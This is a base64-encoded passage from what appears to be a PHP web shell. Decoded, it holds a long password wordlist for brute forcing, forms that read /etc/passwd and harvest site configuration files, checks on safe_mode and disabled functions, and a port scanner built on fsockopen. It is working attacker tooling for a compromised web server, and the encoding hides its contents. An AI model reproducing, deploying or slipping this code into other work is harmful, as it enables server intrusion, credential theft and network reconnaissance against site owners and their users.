DQpsaW1hDQpsaW9uZWwNCmxpb25zDQpsaXNzYWJvbg0KbGl0dGxlDQpsaXoNCmxpenp5DQpsb2dnZXINCmxvZ29zDQpsb2lzbGFuZQ0KbG9raQ0KbG9saXRhDQpsb25lc3Rhcg0KbG9uZ2VyDQpsb25naG9ybg0KbG9vbmV5DQpsb3Jlbg0KbG9yaQ0KbG9ybmENCmxvc2VyDQpsb3N0DQpsb3R1cw0KbG91DQpsb3ZlcnMNCmxvdmV5b3UNCmx1Y2lhDQpsdWNpZmVyDQpsdWNreTE0DQptYWNoYQ0KbWFjcm9zcw0KbWFjc2UzMA0KbWFkZGllDQptYWRtYXgNCm1hZG9rYQ0KbWFnaWMxDQptYWdudW0NCm1haWRlbg0KbWFpbmUNCm1ha2VpdHNvDQptYWxsYXJkDQptYW5hZ2VtZQ0KbWFuc29uDQptYW51ZWwNCm1hcmMNCm1hcmN1cw0KbWFyaWENCm1hcmllbGxlDQptYXJpbmUNCm1hcmlubw0KbWFyc2hhbGwNCm1hcnQNCm1hcnRoYQ0KbWF0aA0KbWF0dGkxDQptYXR0aW5nbHkNCm1heG1heA0KbWVhdGxvYWYNCm1lY2gNCm1lY2hhbmljDQptZWRpY2FsDQptZWdhbg0KbWVpc3Rlcg0KbWVsaW5hDQptZW1waGlzDQptZXJjZXINCm1lcmRlDQptZXJtYWlkDQptZXJyaWxsDQptaWFtaQ0KbWljaGFsDQptaWNoZWwNCm1pY2hpZ2FuDQptaWNob3UNCm1pY2tlbA0KbWlja2V5MQ0KbWljcm9zb2Z0DQptaWR2YWxlDQptaWthZWwNCm1pbGFubw0KbWlsZXMNCm1pbGxlbml1bQ0KbWlsbGlvbg0KbWlub3UNCm1pcmFuZGENCm1pcmlhbQ0KbWlzc2lvbg0KbW1tbW1tDQptb2JpbGUNCm1vYnlkaWNrDQptb2RlbQ0KbW9qbw0KbW9ua2V5MQ0KbW9ucm9lDQptb250YW5hDQptb250YW5hMw0KbW9udHJvc2UNCm1vbnR5DQptb29tb28NCm1vb25iZWFtDQptb3JlY2F0cw0KbW9ycGhldXMNCm1vdG9yDQptb3Rvcm9sYQ0KbW92aWVzDQptb3dnbGkNCm1vemFydA0KbXVsZGVyMQ0KbXVuY2hraW4NCm11cnJheQ0KbXVzY2xlDQptdXN0YW5nMQ0KbmFkaWENCm5hZGluZQ0KbmFwb2xlb24NCm5hdGlvbg0KbmF0aW9uYWwNCm5laWwNCm5la28NCm5lc2JpdA0KbmVzdGxlDQpuZXV0cmlubw0KbmV3YWNjb3VudA0KbmV3bGlmZQ0KbmV3eW9yazENCm5leHVzNg0KbmljaG9sZQ0Kbmlja2xhdXMNCm5pZ2h0c2hhZG93DQpuaWdodHdpbmQNCm5pa2UNCm5pa2l0YQ0Kbmlra2kNCm5pbnRlbmRvDQpuaXNzZQ0Kbm9raWENCm5vbW9yZQ0Kbm9uZTENCm5vcGFzcw0Kbm9ybWFsDQpub3J0b24NCm5vdHRhMQ0Kbm91dmVhdQ0Kbm92ZWxsDQpub3dheQ0KbnVnZ2V0DQpudW1iZXI5DQpudW1iZXJzDQpudXJzZQ0KbnV0bWVnDQpvYXhhY2ENCm9iaXdhbg0Kb2JzZXNzaW9uDQpvaHNoaXQNCm9pY3U4MTINCm9tZWdhDQpvcGVudXANCm9yY2hpZA0Kb3Jlbw0Kb3JsYW5kbw0Kb3J2aWxsZQ0Kb3R0ZXINCm96enkNCnBhYWdhbA0KcGFja2FyZA0KcGFja2Vycw0KcGFja3JhdA0KcGFpbnQNCnBhbG9tYQ0KcGFtDQpwYW5jYWtlDQpwYW5pYw0KcGFwYQ0KcGFyYWRpZ20NCnBhcmsNCnBhcm9sYQ0KcGFycm90DQpwYXJ0bmVyDQpwYXNjYWwNCnBhc3MNCnBhdGNoZXMNCnBhdHJpb3RzDQpwYXVsYQ0KcGF1bGluZQ0KcGF2ZWwNCnBheXRvbg0KcGVhY2gNCnBlYW51dHMNCnBlZHJvMQ0KcGVnZ3kNCnBla2thDQpwZXJmZWN0DQpwZXJmb3JtYQ0KcGVycnkNCnBldGVyaw0KcGV0ZXJwYW4NCnBoaWFscGhhDQpwaGlsaXBzDQpwaGlsbGlwcw0KcGhpc2h5DQpwaG9uZQ0KcGlhbm8xDQpwaWFub21hbg0KcGlhbm9zDQpwaWVyY2UNCnBpZ2Vvbg0KcGluaw0KcGlvbmVlcg0KcGlwZWxpbmUNCnBpcGVyMQ0KcGlyYXRlDQpwaXNjZXMNCnBsYXRvDQpwbGF5DQpwbGF5Ym95DQpwbHV0bw0KcG9ldGljDQpwb2V0cnkNCnBvbGUNCnBvbnRpYWMNCnBvb2tleQ0KcG9wZQ0KcG9wZXllDQpwcmF5ZXINCnByZWNpb3VzDQpwcmVsdWRlDQpwcmVtaWVyDQpwcmludA0KcHJpbnRpbmcNCnByb2YNCnByb3ZpZGVyDQpwdWRkaW4NCnB1bHNhcg0KKioqKioNCnB1c3N5MQ0KcHlybw0KcXFxMTExDQpxdWViZWMNCnF3ZXINCnF3ZXJ0DQpxd2VydHkxMg0KcXdlcnR5dWkNCnIwZ2VyDQpyYWJiaXQxDQpyYWNlcg0KcmFjZXJ4DQpyYWNoZWxsZQ0KcmFjb29uDQpyYWRhcg0KcmFmaWtpDQpyYWxlaWdoDQpyYW0NCnJhbWJvDQpyYW5keTENCnJhc3RhMQ0KcmF0aW8NCnJhdmVucw0KcmVkY2xvdWQNCnJlZGZpc2gNCnJlZG1hbg0KcmVkc2tpbnMNCnJlZHdpbmcNCnJlZHdvb2QNCnJlZWQNCnJlZ2dhZQ0KcmVnZ2llDQpyZWxpYW50DQpyZW5lDQpyZW5lZQ0KcmVuZWdhZGUNCnJlc2N1ZQ0KcmV2b2x1dGlvbg0KcmV4DQpyZXpub3INCnJoaW5vDQpyaGpyamxiaw0KcmljaGFyZDENCnJpY2hhcmRzDQpyaWNobW9uZA0KcmlsZXkNCnJpcHBlcg0KcmlwcGxlDQpyaXRhDQpyb2JieQ0Kcm9iZXJ0cw0Kcm9ib2NvcA0Kcm9ib3RpY3MNCnJvY2hlDQpyb2NrDQpyb2NrZXQxDQpyb2NraWUNCnJvY2tvbg0Kcm9nZXIxDQpyb2dlcnMNCnJvbGFuZA0Kcm9tbWVsDQpyb25pDQpyb29raWUNCnJvb3RiZWVyDQpyb3NpZQ0Kcm9zc2lnbm8NCnJ1ZnVzDQpydWdnZXINCnJ1c2gNCnJ1c3R5DQpydXRobGVzcw0Kc2FiYmF0aA0Kc2FiaW5hDQpzYWZldHkNCnNhZmV0eTENCnNhaWdvbg0Kc2FpbnQNCnNhbUlhbQ0Kc2FtaWFtDQpzYW1taWUNCnNhbW15DQpzYW1zYW0NCnNhbmRpDQpzYW5qb3NlDQpzYXBoaXJlDQpzYXJhaDENCnNhc2tpYQ0Kc2Fzc3kNCnNhdG9yaQ0Kc2F0dXJkYXkNCnNhdHVybjUNCnNjaG5hcHBzDQpzY2llbmNlDQpzY29vYnkNCnNjb29ieWRvbw0Kc2Nvb3RlcjENCnNjb3JwaW9uDQpzY290Y2gNCnNjb3R0eQ0Kc2NvdXRzDQpzY3ViYQ0Kc2VhcmNoDQpzZWNyZXQzDQpzZWVrZXINCnNlb3VsDQpzZXB0ZW1iZXINCnNlcnZlcg0Kc2VydmljZXMNCnNldmVuNw0KKioqDQpzZXh5DQpzaGFnZ3kNCnNoYW5naGFpDQpzaGFubnkNCnNoYW9saW4NCnNoYXN0YQ0Kc2hheW5lDQpzaGF6YW0NCnNoZWxseQ0Kc2hlbHRlcg0Kc2hlcnJ5DQpzaGlwDQpzaGlybGV5DQpzaG9ydHkNCnNob3RndW4NCnNpZG5leQ0Kc2lnbWFjaGkNCnNpZ25hbA0Kc2lnbmF0dXJlDQpzaW1iYTENCnNpbXNpbQ0Kc2luYXRyYQ0Kc2lyaXVzDQpza2F0ZQ0Kc2tpcA0Kc2tpcHBlcjENCnNreWRpdmUNCnNreWxlcg0Kc2xheWVyDQpzbGVlcHkNCnNsaWNrDQpzbGlkZXINCnNsaXANCnNtZWdtYQ0Kc21pbGUxDQpzbWl0aHMNCnNtaXR0eQ0Kc21va2UNCnNtdXJmeQ0Kc25ha2VzDQpzbmFwcGVyDQpzbm9vcA0Kc25vdw0Kc29iZXIxDQpzb2xvbW9uDQpzb25pY3MNCnNvbnkNCnNvcGhpYQ0Kc3BhY2UNCnNwYXJrcw0Kc3BhcnRhbg0Kc3BhenoNCnNwaHlueA0Kc3Bpa2UxDQpzcG9jaw0Kc3BvbmdlDQpzcG9vbg0Kc3BvdA0Kc3Byb2NrZXQNCnNwdXJzDQpzcXVhc2gNCnN0YW4NCnN0YXJidWNrDQpzdGFyZ2F0ZQ0Kc3RhcmxpZ2h0DQpzdGFycw0Kc3RlZWwNCnN0ZXBoMQ0Kc3RlcGhpDQpzdGV2ZTENCnN0ZXZlbnMNCnN0ZXdhcnQNCnN0aW5nDQpzdGl2ZXJzDQpzdG9ja3MNCnN0b25lDQpzdG9yYWdlDQpzdHJhbmdlcg0Kc3RyYXQNCnN0cmF0bw0Kc3RyZXRjaA0Kc3Ryb25nDQpzdHVkDQpzdHVkZW50Mg0Kc3R1ZGlvDQpzdHVtcHkNCnN1Y2tlcg0Kc3Vja21lDQpzdWUNCnN1bHRhbg0Kc3VtbWl0DQpzdW5maXJlDQpzdW5zZXQNCnN1cGVyDQpzdXBlcnN0YXINCnN1cmZpbmcNCnN1c2FuMQ0Kc3VzYW5uYQ0Kc3V0dG9uDQpzdXp5DQpzd2Fuc29uDQpzd2VkZW4NCnN3ZWV0cGVhDQpzd2VldHkNCnN3aW0NCnN3aXR6ZXINCnN3b3JkZmlzaA0Kc3lzdGVtNQ0KdC1ib25lDQp0YWINCnRhYmF0aGENCnRhY29iZWxsDQp0YWl3YW4NCnRhbG9uDQp0YW10YW0NCnRhbm5lcg0KdGFwYW5pDQp0YXJnYXMNCnRhcmdldA0KdGFyaGVlbA0KdGFzaGENCnRhdGENCnRhdHRvbw0KdGF6ZGV2aWwNCnRlcXVpbGENCnRlcnJ5MQ0KdGVzdDINCnRlc3QzDQp0ZXN0ZXINCnRlc3RpDQp0ZXN0dGVzdA0KdGV4YXMNCnRoYW5reW91DQp0aGVlbmQNCnRoZWxvcmF4DQp0aGlzaXNpdA0KdGhvbXBzb24NCnRob3JuZQ0KdGhyYXNoZXINCnRpZ2VyMg0KdGlnaHRlbmQNCnRpa2ENCnRpbQ0KdGltYmVyDQp0aW1vdGh5DQp0aW5rZXJiZWxsDQp0bnQNCnRvbQ0KdG9vbA0KdG9wY2F0DQp0b3BoZXINCnRvc2hpYmENCnRvdGFsDQp0b3RvMQ0KdG90b3RvDQp0b3VjYW4NCnRyYW5zZmVyDQp0cmFuc2l0DQp0cmFuc3BvcnQNCnRyYXBwZXINCnRyYXNoDQp0cmF2aXMNCnRyZQ0KdHJlYXN1cmUNCnRyZWVzDQp0cmlja3kNCnRyaXNoDQp0cml0b24NCnRyb21ib25lDQp0cm9waHkNCnRyb3VibGUNCnRydWNrZXINCnR1Y3Nvbg0KdHVsYQ0KdHVyYm8NCnR1cmJvMg0KdHdpbnMNCnR5bGVyMQ0KdWx0aW1hdGUNCnVuaXF1ZQ0KdW5pdGVkDQp1bml0eQ0KdW5peA0KdXBzaWxvbg0KdXJzdWxhDQp1c2VyMQ0KdmFjYXRpb24NCnZhbGxleQ0KdmFtcGlyZQ0KdmFuZXNzYQ0KdmVkZGVyDQp2ZWxvDQp2ZW5pY2UNCnZlbnVzDQp2ZXJtb250DQp2ZXR0ZQ0Kdmlja2kNCnZpY2t5DQp2aWN0b3IxDQp2aWtyYW0NCnZpbmNlbnQxDQp2aW9sZXQNCnZpb2xpbg0KdmlyYWdvDQp2aXJnaWwNCnZpcmdpbmlhDQp2aXNpb24NCnZpc3VhbA0Kdm9sY2Fubw0Kdm9sbGV5DQp2b29kb28NCnZvcnRleA0Kd2FpdGluZw0Kd2FsZGVuDQp3YWxkbw0Kd2FsbGV5ZQ0Kd2Fua2VyDQp3YXJuZXINCndhdGVyMQ0Kd2F5bmUxDQp3ZWJtYXN0ZXINCndlYnN0ZXINCndlZGdlDQp3ZWV6ZXINCndlbmR5MQ0Kd2VzdGVybg0Kd2hhbGUxDQp3aGl0DQp3aGl0ZQ0Kd2hpdG5leQ0Kd2hvY2FyZXMNCndob3ZpbGxlDQp3aWJibGUNCndpbGRjYXQNCndpbGwNCndpbGxpYW0xDQp3aWxtYQ0Kd2luZA0Kd2luZG93DQp3aW5uaWV0aGVwb29oDQp3b2xmZ2FuZw0Kd29sdmVyaW5lDQp3b21iYXQxDQp3b25kZXINCndvcmQNCndvcmxkDQp4LWZpbGVzDQp4LW1lbg0KeGFudGgNCnh4eDEyMw0KeHh4eHh4eHgNCnh5eg0KeWFtYWhhDQp5YW5rZWUNCnlvZ2liZWFyDQp5b2xhbmRhDQp5b21hbWENCnl2ZXR0ZQ0KemFjaGFyeQ0KemFjaw0KemVicmFzDQp6ZXBwbGluDQp6b2x0YW4NCnpvb21lcg0KenhjDQp6eGN2Ym4NCiFAIyQlXiYNCjAwMDAwMDAwDQoxMjEyMTINCjEyMzRxd2VyDQoxMjNnbw0KMTMxMzEzDQoxMzU3OQ0KMTcwMWQNCjIxMTIyMTEyDQozNjkNCjU1NTUNCjgwNDg2DQo5MDIxMA0KOTExDQo5OTk5OTk5OQ0KQCMkJV4mDQpBQkMxMjMNCkFiY2RlZg0KQXNkZmdoDQpDYXNpbw0KQ2hhbmdlbWUNCkZ1Y2tZb3UNCkZ1Y2t5b3UNCkdpem1vDQpIZWxsbw0KSlNCYWNoDQpNaWNoZWwNCk5DQzE3MDENClBQUA0KUXdlcnQNClF3ZXJ0eQ0KV2luZG93cw0KWnhjdmINClp4Y3Zibm0NCmFjdGlvbg0KYWR2aWwNCmFsbG8NCmFtZWxpZQ0KYW5hY29uZGENCmFuZ3VzDQphcG9sbG8xMw0KYXJ0aXN0DQphc3Blbg0KYXNzDQphc3Nob2xlDQphdGgNCmJlbm9pdA0KYmVybmFyZA0KYmVybmllDQpiaWdiaXJkDQpiaXJkDQpibGl6emFyZA0KYmx1ZXNreQ0KYm9uam91cg0KYm9vc3Rlcg0KYnl0ZW1lDQpjYWVzYXINCmNhcmRpbmFsDQpjYXJvbGluYQ0KY2F0cw0KY2VkaWMNCmNlc2FyDQpjaGFuZGxlcg0KY2hhbmdlaXQNCmNoYXBtYW4NCmNoYXJsaWUxDQpjaGV2eQ0KY2hpcXVpdGENCmNob2NvbGF0DQpjaHJpc3RpYQ0KY2hyaXN0b3BoDQpjbGFzc3Jvb20NCmNsb2Nsbw0KY29jbw0KY29ycmFkbw0KY291Z2Fycw0KY291cnRuZXkNCmRhc2hhDQpkZW1vDQpkaXJrDQpkb2xwaGlucw0KZG9taW5pYw0KZG9ua2V5DQpkb29tMg0KZHVzdHkNCmUNCmVuZXJneQ0KZmVhcmxlc3MNCmZpY3Rpb24NCmZvcmVzdA0KZnJlbmNoMQ0KZnViYXINCmdhdG9yDQpnaWxsZXMNCmdsZW5uDQpnbw0KZ29jb3Vncw0KZ29vZC1sdWNrDQpncmF5bWFpbA0KZ3Vpbm5lc3MNCmhpbGJlcnQNCmhvbGENCmhvbWUNCmhvbWVicmV3DQpob3Rkb2cNCmluZGlhbg0KamFyZWQNCmppbWJvDQpqa20NCmpvaG5zb24NCmpvam8NCmpvc2llDQpqdWR5DQprb2tvDQprcmlzdGluDQpsbG95ZA0KbG9ycmFpbmUNCmx1bHUNCmx5bm4NCm0xOTExYTENCm1hYw0KbWFjaW50b3NoDQptYWlsZXINCm1hcnMNCm1heGltZQ0KbWVtb3J5DQptZW93DQptaW1pDQptaXJyb3INCm5hdA0KbmUxNDEwcw0KbmUxNDY5DQpuZTE0YTY5DQpuZWJyYXNrYQ0KbmVtZXNpcw0KbmV0d29yaw0KbmV3Y291cnQNCm5pZ2VsDQpuaWtpDQpuaXRlDQpub3R1c2VkDQpvYXRtZWFsDQpwYXR0b24NCnBhdWwNCnBlZHJvDQpwbGFuZXQNCnBsYXllcnMNCnBvbGl0aWNzDQpwb21tZQ0KcG9ydGxhbmQNCnByYWlzZQ0KcHJvcGVydHkNCnByb3RlbA0KcHNhbG1zDQpxd2FzengNCnJhaWRlcnMNCnJhbWJvMQ0KcmFuY2lkDQpydXRoDQpzYWxlcw0Kc2FsdXQNCnNjcm9vZ2UNCnNoYXduDQpzaGVsbGV5DQpza2lkb28NCnNvZnRiYWxsDQpzcGFpbg0Kc3BlZWRvDQpzcG9ydHMNCnNzcw0Kc3Nzc3NzDQpzdGVlbGUNCnN0ZXBoDQpzdGVwaGFuaQ0Kc3VuZGF5DQpzdXJmDQpzeWx2aWUNCnN5bWJvbA0KdGlmZmFueQ0KdGlncmUNCnRvcm9udG8NCnRyaXhpZQ0KdW5kZWFkDQp2YWxlbnRpbg0KdmVsdmV0DQp2aWtpbmcNCndhbGtlcg0Kd2F0c29uDQp5b3VuZw0KemhvbmdndW8NCm15c3BhY2UxDQpibGluazE4Mg0KY2hhbmdlbWUNCnBhc3N3b3JkDQpzdGFydA0KY29tcHV0ZXINCmludGVybmV0DQppaGF2ZW5vcGFzcw0KZ29kYmxlc3N5b3UNCmFkbWluaXN0cmF0b3INCmdvYmx1ZTwvdGV4dGFyZWE+PC9zdHJvbmc+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPg0KCTxzdHJvbmc+VHlwZSA6PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPg0KICAgIDxzcGFuIGNsYXNzPSJzdHlsZTIiPjxzdHJvbmc+U2ltcGxlIDogPC9zdHJvbmc+IDwvc3Bhbj4NCgk8c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InNpbXBsZSIgY2hlY2tlZD0iY2hlY2tlZCIgY2xhc3M9InN0eWxlMyI+PC9zdHJvbmc+DQogICAgPGZvbnQgY2xhc3M9InN0eWxlMiI+PHN0cm9uZz4vZXRjL3Bhc3N3ZCA6IDwvc3Ryb25nPiA8L2ZvbnQ+DQoJPHN0cm9uZz4NCgk8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InR5cGUiIHZhbHVlPSJwYXNzd2QiIGNsYXNzPSJzdHlsZTMiPjwvc3Ryb25nPjxzcGFuIGNsYXNzPSJzdHlsZTMiPjxzdHJvbmc+DQoJPC9zdHJvbmc+DQoJPC9zcGFuPg0KICAgIDwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgIGNvbHNwYW49IjUiPjxzdHJvbmc+PGlucHV0IGNsYXNzID0naW5wdXR6YnV0JyB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzdGFydCI+DQogICAgPC9zdHJvbmc+DQogICAgPC90ZD4NCiAgICA8dHI+DQo8L2Zvcm0+IA0KPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMSIgY29sc3Bhbj0iNiI+PHN0cm9uZz5HZXQgQ29uZmlnIDo8L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+DQoJPHN0cm9uZz4NCjxpbnB1dCBuYW1lPSJtZW5kYXBhdGthbiIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0icGFzc3dkIj4gICAgICAgIAkJCQkNCiAgICA8L3N0cm9uZz4NCiAgICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPkZvbGRlciBOYW1lIDo8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHNpemU9IjM1IiBuYW1lPSJmb2xkZXJuYW1lIiB0eXBlPSJ0ZXh0Ij48L3N0cm9uZz48L3RkPg0KCTwvc3Ryb25nPg0KICAgIDwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdPIj4NCiAgICA8L3N0cm9uZz4NCiAgICA8L3RkPg0KICAgIDx0cj4NCjwvZm9ybT4gICANCjx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxzdHJvbmc+R2V0IFdvcmRsaXN0PC9zdHJvbmc+PC90ZD4NCiAgICAJCQkJPC90cj4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPg0KCTxzdHJvbmc+DQo8aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0icGFzc3dvcmQiPiAgICAgICAgCQkJCQ0KICAgIDwvc3Ryb25nPg0KICAgIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+VXJsIENvbmZpZyA6PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiPjxzdHJvbmc+PGlucHV0IGNsYXNzID0naW5wdXR6JyBzaXplPSIzNSIgbmFtZT0idXJsIiB0eXBlPSJ0ZXh0Ij48L3N0cm9uZz48L3RkPg0KCTwvc3Ryb25nPg0KICAgIDwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdPIj4NCiAgICA8L3N0cm9uZz4NCiAgICA8L3RkPg0KICAgIDx0cj4NCjwvZm9ybT4NCjx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxzdHJvbmc+SW5mbyANCglTZWN1cml0eTwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5TYWZlIE1vZGU8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+DQoJPHN0cm9uZz4NCjw/cGhwDQokc2FmZV9tb2RlID0gaW5pX2dldCgnc2FmZV9tb2RlJyk7DQppZigkc2FmZV9tb2RlPT0nMScpDQp7DQplY2hvICdPTic7DQp9ZWxzZXsNCmVjaG8gJ09GRic7DQp9DQoNCj8+CQ0KCTwvc3Ryb25nPgkNCgk8L3RkPg0KICAgIAkJCQk8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+RGVzaWJsZSBGdW5jdGlvbjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij4NCgk8c3Ryb25nPg0KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+DQoJPHN0cm9uZz4NCjxpbnB1dCBuYW1lPSJtYXRpa2FuIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJzZWthdGFuIj4gICAgICAgIAkJCQkNCiAgICA8L3N0cm9uZz4NCg0KPD9waHANCmlmKCcnPT0oJGZ1bmM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKQ0Kew0KZWNobyAiPGZvbnQgY29sb3I9IzAwZmYwMD5ObyBTZWN1cml0eSBmb3IgRnVuY3Rpb248L2ZvbnQ+PC9iPiI7DQp9ZWxzZXsNCmVjaG8gJzxzY3JpcHQ+YWxlcnQoIlBsZWFzZSBzZWUgYmVsb3cgYW5kIHByZXNzID5QbGVhc2UgQ2xpY2sgSGVyZSBGaXJzdCE8Iik7PC9zY3JpcHQ+JzsNCmVjaG8gIjxmb250IGNvbG9yPXJlZD4kZnVuYzwvZm9udD48L2I+IjsNCmVjaG8gJzx0cj48dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+JzsNCmVjaG8gJzx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUGxlYXNlIENsaWNrIEhlcmUgRmlyc3QhIj4NCiAgICA8L3N0cm9uZz4NCiAgICA8L3RkPjwvdHI+JzsNCn0NCj8+PC9zdHJvbmc+PC90ZD48L3RyPjwvdGFibGU+PC90YWJsZT48L3RhYmxlPg0KPD8NCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCg0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdwb3J0LXNjJykpDQogICAgew0KICAgID8+DQogICAgPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+Jng9cG9ydC1zYyIgbWV0aG9kPSJwb3N0Ij4NCiAgICA8P3BocA0KICAgIGVjaG8gJzxicj48YnI+PGNlbnRlcj48YnI+PGI+Ky0tPVsgUG9ydCBTY2FubmVyIF09LS0rPC9iPjxicj4nOw0KICAgICRzdGFydCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydzdGFydCddKTsNCiAgICAkZW5kID0gc3RyaXBfdGFncygkX1BPU1RbJ2VuZCddKTsNCiAgICAkaG9zdCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydob3N0J10pOw0KICAgIGlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnZW5kJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydzdGFydCddKSl7DQogICAgZm9yKCRpID0gJHN0YXJ0OyAkaTw9JGVuZDsgJGkrKyl7DQogICAgJGZwID0gQGZzb2Nrb3BlbigkaG9zdCwgJGksICRlcnJubywgJGVycnN0ciwgMyk7DQogICAgaWYoJGZwKXsNCiAgICBlY2hvICdQb3J0ICcuJGkuJyBpcyA8Zm9udCBjb2xvcj1ncmVlbj5vcGVuPC9mb250Pjxicj4nOw0KICAgIH0NCiAgICBmbHVzaCgpOw0KICAgIH0NCiAgICB9ZWxzZXsNCiAgICBlY2hvICc8dGFibGUgY2xhc3M9dGFibmV0IHN0eWxlPSJ3aWR0aDozMDBweDtwYWRkaW5nOjAgMXB4OyI+DQogICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ5IiB2YWx1ZT0icGhwdG9vbHMiPg0KICAgPHRyPjx0aCBjb2xzcGFuPSI1Ij5Qb3J0IFNjYW5uZXI8L3RoPjwvY2VudGVyPjwvdHI+DQogICA8dHI+DQoJCTx0ZD5Ib3N0PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiAgc3R5bGU9IndpZHRoOjIyMHB4O2NvbG9yOiMwMGZmMDA7IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PC90ZD4NCiAgIDwvdHI+DQogICA8dHI+DQoJCTx0ZD5Qb3J0IHN0YXJ0PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6MjIwcHg7Y29sb3I6IzAwZmYwMDsiIG5hbWU9InN0YXJ0IiB2YWx1ZT0iMCIvPjwvdGQ+